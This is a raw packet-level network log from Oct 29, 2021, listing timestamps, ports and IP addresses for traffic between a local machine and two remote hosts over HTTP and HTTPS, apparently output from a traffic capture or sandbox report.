Oct 29, 2021 20:30:01.263878107 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.263890982 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.263923883 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.263940096 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.263950109 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.263997078 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.264008999 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.264034033 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.264058113 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.264081955 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.264082909 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.264107943 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.264128923 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.264132023 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.264158964 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.264178038 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.264183998 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.264204979 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.264231920 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.275594950 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.275635958 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.275669098 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.275671005 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.275700092 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.275711060 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.277395964 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.277498960 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.277538061 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.277570963 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.277578115 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.277611971 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.277645111 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.277688980 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.277715921 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.277721882 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.277818918 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.311467886 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.311491966 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.311507940 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.311522961 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.311620951 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.311759949 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.311779022 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.311808109 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.311819077 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.311901093 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.311943054 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.311959982 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.312031984 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.312386036 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.312407970 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.312434912 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.312452078 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.312486887 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.312504053 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.312527895 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.312545061 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.312560081 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.312578917 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.312594891 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.312609911 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.312614918 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.312644005 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.312644958 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.312685013 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.327084064 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.327112913 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.327128887 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.327146053 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.327158928 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.327177048 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.327220917 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.327265024 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.327295065 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.327341080 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.327361107 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.327388048 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.327411890 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.327445984 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.327449083 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.327466965 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.327506065 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.364329100 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.364362955 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.364388943 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.364414930 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.364440918 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.364458084 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.364471912 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.364480019 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.364500046 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.364526987 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.364533901 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.364554882 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.364556074 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.364581108 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.364631891 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.364648104 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.364665985 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.364691973 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.364705086 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.364720106 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.364748001 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.364751101 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.364775896 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.364804029 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.364805937 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.364830971 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.364876986 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.364908934 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.364969015 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.365014076 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.374813080 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.374850035 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.374881029 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.374910116 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.374912977 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.374936104 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.374942064 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.374972105 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.374999046 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.375001907 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.375032902 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.375051022 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.375061035 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.375091076 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.375102997 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.375121117 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.375149012 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.375164032 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.412134886 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.412185907 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.412226915 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.412233114 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.412272930 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.412287951 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.412476063 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.412519932 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.412549019 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.412559986 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.412604094 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.412626028 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.412642002 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.412682056 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.412703991 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.412720919 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.412760019 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.412800074 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.412801981 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.412839890 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.412862062 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.412911892 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.412954092 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.412995100 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.412996054 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.413024902 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.413048029 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.414031029 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.414071083 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.414104939 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.414110899 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.414151907 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.414167881 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.417587996 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.417654037 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.422208071 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.422259092 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.422375917 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.422467947 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.422599077 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.422637939 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.422656059 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.422676086 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.422714949 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.422727108 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.422781944 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.422820091 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.422833920 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.422858953 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.422897100 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.422915936 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.462970972 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463013887 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463052988 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463057995 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.463089943 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463100910 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.463129044 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463166952 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463181973 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.463206053 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463244915 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463263035 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.463280916 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463320017 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463330030 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.463356972 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463395119 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463406086 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.463433027 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463474035 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463481903 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.463515043 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463555098 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463562012 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.463592052 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463629961 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463643074 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.463668108 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463706970 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463722944 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.463746071 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463798046 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.463834047 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463872910 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463957071 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.463987112 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.469125032 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:01.469162941 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:01.469255924 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:01.470325947 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.470366001 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.470396042 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.470403910 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.470443010 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.470472097 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.470500946 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.470536947 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.470541954 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.470581055 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.470599890 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.470621109 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.470662117 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.470679045 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.470700026 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.470745087 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.510272980 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510333061 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510368109 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510401011 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510416985 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.510432005 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510445118 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.510464907 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510504961 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510514975 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.510536909 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510570049 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510601044 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.510601997 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510636091 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510653019 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.510668993 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510699987 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510708094 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.510731936 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510763884 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510776043 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.510797024 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510829926 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510840893 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.510863066 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510896921 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510926008 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.510948896 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510979891 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.510988951 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.511006117 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.511043072 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.511807919 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:01.539865017 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:01.539900064 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:01.565021992 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:01.583336115 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:01.583425999 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:01.587704897 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:01.587723017 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:01.588232994 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:01.668570042 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.846966028 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.888910055 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.904455900 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.904603958 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.904671907 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.904676914 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.904697895 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.904809952 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.904828072 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.904886961 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.904939890 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.904989958 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.905004025 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.905088902 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.905177116 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.905281067 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.905348063 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.905363083 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.905781984 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.905843973 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.905901909 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.905917883 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.905936003 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.905991077 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.906582117 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.906650066 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.906649113 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.906667948 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.907319069 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.907346964 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.907365084 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.907428980 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.907449007 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.907457113 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.907658100 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.907670021 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.908209085 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.908267975 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.908297062 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.908315897 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.908387899 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.921391964 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.921575069 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.921649933 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.921653986 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.921673059 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.921770096 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.921818972 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.921828985 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.921868086 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.921875954 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.922374010 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.922447920 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.922503948 CEST	49794	443	192.168.2.7	162.159.135.233
